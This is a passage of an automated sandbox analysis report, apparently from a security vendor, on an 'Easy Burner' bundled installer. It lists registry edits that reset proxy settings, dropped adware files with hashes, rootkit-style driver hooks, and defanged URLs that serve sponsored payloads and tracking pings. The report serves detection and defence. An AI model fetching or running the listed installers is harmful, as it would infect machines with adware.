"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process 4AD7.tmp:3976 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6E AA 86 7D 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion]
"%IS_PREREQCMD%-Easy Burner" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4AD7.tmp"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 55 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "18 E1 EF 81 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "18 E1 EF 81 85 46 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion]
"%IS_PREREQF%-Easy Burner"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion]
"%IS_PREREQ%-Easy Burner"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKCU\Software\Microsoft\Windows\CurrentVersion]
"%IS_PREREQCMD%-Easy Burner"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
" ISSetupPrerequisistes"

The process taskeng.exe:4092 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{E7A1D609-A1FB-419F-99B5-87D0A67604C5}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process jsdrv.exe:3472 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "54 73 E2 5A 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 45 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "CA 44 D0 5D 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "CA 44 D0 5D 85 46 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

Dropped PE files

MD5 File path
4f5410cf9f2312013f39c4f130f84be1 c:\Program Files (x86)\App Lid\Uninstall.exe
5a2dafd7c920a67590b80e0b2468d7c4 c:\Program Files (x86)\App Lid\af1bef35-aa27-4010-9003-02d835dca74d-4.exe
0d12ff33f5e023a8929b4217965e1bd4 c:\Program Files (x86)\App Lid\af1bef35-aa27-4010-9003-02d835dca74d-5.exe
8758a80bb225f31df3a27eb9ad0782a8 c:\Program Files (x86)\App Lid\utils.exe
e7194186333837178319fdb08cc084ea c:\Program Files (x86)\ShopperPro\JSDriver\1499.0.0.0\jsdrv.exe
62d2eced79f9993ac1d056c502b1a4fc c:\Program Files (x86)\ShopperPro\JSDriver\1499.0.0.0\jsdrv.sys
e7194186333837178319fdb08cc084ea c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
62d2eced79f9993ac1d056c502b1a4fc c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
939567e00da3f29cd12425b994b781bf c:\Program Files (x86)\ShopperPro\SPRemove.exe
78bdcde8d2756996e5a7be55c17aab46 c:\Program Files (x86)\ShopperPro\ShopperPro.dll
ba709fe5a1518eca230093ca07d5e70e c:\Program Files (x86)\ShopperPro\ShopperPro.exe
cbc9909ac67f89d1f7853631a005b203 c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
6d2d81ad151169f59b83260bff4442d3 c:\Program Files (x86)\ShopperPro\Updater.exe
a7998c55467d4884cb509e5c4cfdcfa2 c:\Program Files (x86)\XTab\BrowerWatchCH.dll
fbde6af89f9b351243c3f736a48a0543 c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013 c:\Program Files (x86)\XTab\BrowserAction.dll
77590ce0cdeb6bbee8dc056fea0b107c c:\Program Files (x86)\XTab\CmdShell.exe
c04d8bc933470b3913e4e3e6c3115793 c:\Program Files (x86)\XTab\HPNotify.exe
a330b7929278b18a33e29bd4bb69abc3 c:\Program Files (x86)\XTab\IeWatchDog.dll
b32a88b91e59bfb553a9bebf78a1e567 c:\Program Files (x86)\XTab\ProtectService.exe
fece5b81614bd16ff043051f338183a0 c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6 c:\Program Files (x86)\XTab\msvcr110.dll
852f4db9b269f52c54f37568d703825e c:\Program Files (x86)\XTab\uninstall.exe
7b538383623b61c01dc8c9db2f27192a c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
fcd7181045d7f45863163685f63cbc26 c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
3db5e55f5b7cad6dfa73987703be553d c:\Program Files (x86)\YTAHelper\SPRemove.exe
0f280884fb3ea901810e3687d520e66b c:\Program Files (x86)\YTAHelper\YTAHelper.dll
4c2cbf16ac43df603dd18ef5adb7e7c0 c:\Program Files (x86)\YTAHelper\YTAHelper.exe
ea7bfd3722f6bdb16942dfdcebe2a7bd c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
f593c94827e130cdb5c3215e0753c781 c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072 c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
96257545e464d8e48a767dca7158ab18 c:\Program Files (x86)\YouTube Accelerator\Updater.exe
496dd2c9f288bafc7e3c3e8b9e30c5cb c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
214055e3a33c271e88d48a02f9b0f77f c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
592989a426ae8bd543816906b4e404b6 c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd c:\Program Files (x86)\YouTube Accelerator\cabex.dll
30a7767ce7edd677b85dbf308476be5e c:\Program Files (x86)\YouTube Accelerator\engine.dll
3f60c99839e22b593223eb083e1ae454 c:\Program Files (x86)\YouTube Accelerator\helper.dll
e3ca787c4ef41e3d3c212899dd361daf c:\Program Files (x86)\YouTube Accelerator\ipc.dll
cba2facb405fc377eced6abe5e8fe605 c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
1b3f12f9710b8079619d87728f711cfb c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76 c:\Program Files (x86)\YouTube Accelerator\sporder.dll
bfe64f99674b43adc1806cd3183f4fbd c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6 c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e09fa1c699e985e4cf8cfc6457dba9f1 c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
6456f0c18525282513af471c36dfc4d0 c:\Program Files\Common Files\ShopperPro\spbia.exe
2f99037dd0cc293f56936be64a5dcd3f c:\Program Files\Common Files\ShopperPro\spbici32.dll
519d73c5b9cba169a16c9aa5309fef80 c:\Program Files\Common Files\ShopperPro\spbici64.dll
2d297797b8420ea7842161e3a8175412 c:\Program Files\Common Files\ShopperPro\spbii32.exe
e56e20e076d3a4c074d5e6d443f12dc5 c:\Program Files\Common Files\ShopperPro\spbii64.exe
53627c474a52b31f40dddb9e13150f5a c:\Program Files\Common Files\ShopperPro\spbiu.exe
426544e3dafa47320f24588a60625ba9 c:\Program Files\Common Files\ShopperPro\spbiw.sys
78bdcde8d2756996e5a7be55c17aab46 c:\ProgramData\ShopperPro\ShopperPro.dll
cbc9909ac67f89d1f7853631a005b203 c:\ProgramData\ShopperPro\ShopperPro64.dll
3525b3c9cafced38e0ab2334da7fb449 c:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
0f280884fb3ea901810e3687d520e66b c:\ProgramData\YTAHelper\YTAHelper.dll
ea7bfd3722f6bdb16942dfdcebe2a7bd c:\ProgramData\YTAHelper\YTAHelper64.dll
78bdcde8d2756996e5a7be55c17aab46 c:\Users\All Users\ShopperPro\ShopperPro.dll
cbc9909ac67f89d1f7853631a005b203 c:\Users\All Users\ShopperPro\ShopperPro64.dll
3525b3c9cafced38e0ab2334da7fb449 c:\Users\All Users\WindowsMangerProtect\ProtectWindowsManager.exe
0f280884fb3ea901810e3687d520e66b c:\Users\All Users\YTAHelper\YTAHelper.dll
ea7bfd3722f6bdb16942dfdcebe2a7bd c:\Users\All Users\YTAHelper\YTAHelper64.dll
a9f1ecb4159ecaf56bbe555f81374f25 c:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe
f9092a47c8e3b49ae282a8b4e97d5599 c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_7887\ins_postInst.exe
f9092a47c8e3b49ae282a8b4e97d5599 c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_273\ins_postInst.exe
3a3322f42b377c3a692ab4045c7e2e5f c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe
2875a8dbd74700c940e856ae1d1dbae0 c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_a
8d0d1621130df299ae9a0e4d522c39af c:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp
f1a0b7464e765dbd4ff42ced78ce384d c:\Users\"%CurrentUserName%"\AppData\Local\Temp\4AD7.tmp
6152e04b0938a99cd1f7bd825d2eb689 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18807\ins_shopperpro.exe
f9092a47c8e3b49ae282a8b4e97d5599 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_22392\ins_postInst.exe
e1f48aa094bffe3887d0ffec22eaae1f c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_22392\ins_yta.exe
45960b40c1ecb75ed5549a80049879e1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
f593c94827e130cdb5c3215e0753c781 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
496dd2c9f288bafc7e3c3e8b9e30c5cb c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
74fb4a7f6e8fb16497b109264ebd87b5 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe
592989a426ae8bd543816906b4e404b6 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
30a7767ce7edd677b85dbf308476be5e c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
3f60c99839e22b593223eb083e1ae454 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
e3ca787c4ef41e3d3c212899dd361daf c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
cba2facb405fc377eced6abe5e8fe605 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
1b3f12f9710b8079619d87728f711cfb c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
bfe64f99674b43adc1806cd3183f4fbd c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
96257545e464d8e48a767dca7158ab18 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e09fa1c699e985e4cf8cfc6457dba9f1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
214055e3a33c271e88d48a02f9b0f77f c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
671d8397034747ae899554ec008f321b c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\RegWrite.exe
0a1d8c442bf10ba569bc89cf7dfc3855 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\STab_Down_6.0.6.8.exe
55bae15d523e4fabaa551023703d3fd9 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\XTab_v4.0.exe
3525b3c9cafced38e0ab2334da7fb449 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\wpm_v20.0.0.1714_0204.exe
518879abe3170dabd172dfffcd165598 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
ac8f7611f353ca9803fad5ff81900678 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
3a9ce8edf728d00a44376a75fe7b2aca c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\nsProcess.dll
8683e0490479293e0dd1faf2cf2e88d7 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\AccDownload.dll
faa7f034b38e729a983965c04cc70fc1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\nsProcess.dll
31f8d1cffb02dff93646f81d8ce3dd75 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe
7a9c58d8e215fcd47d371fe81d7aa1f6 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
9c587f6d6481ed22c24c89319e40b4cc c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
4f9236be13917b89f7a03dea85f220fa c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe
d8ba5f4e6a1594d0e07c886dac0f5f8c c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe
a5bfd6a87161d5dfa81cb5c2c6d29488 c:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe
45960b40c1ecb75ed5549a80049879e1 c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1 c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls creation and closing of threads by installing the thread notifier.
Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.0.0.0
File Description: Powered by BetterInstaller
Comments:
Language: Spanish (Spain, International Sort)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 28860 29184 4.36907 33e8227bf6edbf3997e3d0895494668e
.data 36864 140 512 0.818223 1b0351714f371c0ba066871d4e504b00
.rdata 40960 3196 3584 3.54441 88a268b1fac88e9fad865c68cf3abce2
.bss 45056 110088 0 0 d41d8cd98f00b204e9800998ecf8427e
.idata 155648 4932 5120 3.53424 11c816edc4ef9cc4aa5511f8a707232b
.ndata 163840 36864 1024 0 0f343b0931126a20f133d67c2b018a3b
.rsrc 200704 17800 17920 3.9497 3b952b6cf19449d255a36efe2cd57cc1

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 3597
7f6d030a23f210ff0f767468fe3edd48
9fd81c119909308d540861e600a43bd3
2140c12424d296d2f086d01968cff5a1
b7f04de791f0f1174b6595f07c104868
9b2a2631e07de3ea563da5f894f4918c
1dc72a410d67eb4d6166990e3e960606
0000d4dfa1f1d61271d6789616ff0882
f17e4556271f0a3cba61103303f4821b
ec448b672988eecfbe5db9b39dd113ea
554c710ad2da44edabf8a39e29b525fd
6c686b56afc8acb9c4f55d9126145dcb
87a3d1f1f4decd60bc4fed779f16ab7e
be82581da15d62c0241c0aba0079ebc9
33e4c9846b62ef1d7988e58896f26870
9f26e9f983a553db2d8ab1b629db4773
326abe8febf6d9c7b7a5236ae631dba4
9adcc08a42b5e8e14df2537055050e19
9125d1263fff27680ef3414448f248c3
10bb4834f8a2ac896bbf1dd09a88ada3
c7cef48f0e67921593fa03525173efb3
b4f59838f98599cf2f424c9e0fd95bc6
bb973804305445e69bbbb3daefcb39e9
4759cae862bcb093daf1a1069fc645f5
52c985ed076e5a065f86a21dc0163784
462418bc4f341f12c94e408f9e35c703

URLs

URL IP
hxxp://installer.betterinstaller.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://d4ekdi381yoqv.cloudfront.net/images/Tokyo/tokyoThreeWavesBG.jpg 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/images/Tokyo/tokyo_sprite_full.png 54.239.168.206
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d4ekdi381yoqv.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html 54.239.168.206
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe 54.230.200.249
hxxp://d2q90bop9bptps.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html
hxxp://d2q90bop9bptps.cloudfront.net/sponsored/sourceapp/eula-sourceapp.html
hxxp://d2q90bop9bptps.cloudfront.net/affiliates/eula.html
hxxp://d1p2zvpeuweyai.cloudfront.net/affiliates/easyburneres/easyBurner_logo48.png
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.8426500988603953
hxxp://a1049.d.akamai.net/sd?is=sm
hxxp://d2otsfra4otprh.cloudfront.net/mirror/mystartsearch/default/setup.exe 54.230.200.249
hxxp://d2otsfra4otprh.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe 54.230.200.249
hxxp://app.easy-burner.com/download.php?msorder=5&smsorder=0&campaign=14782&tracker=2202
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=1&index_in_screen=1&index_in_session=1&0.8449995742521975
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.23910210934334758
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=2&index_in_screen=1&index_in_session=2&0.6368685965386823
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=mystartsearch&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.5472551417397524
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=mystartsearch&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=3&index_in_screen=1&index_in_session=3&0.6985471650228627
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=appshat_madness&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.2245044513063113
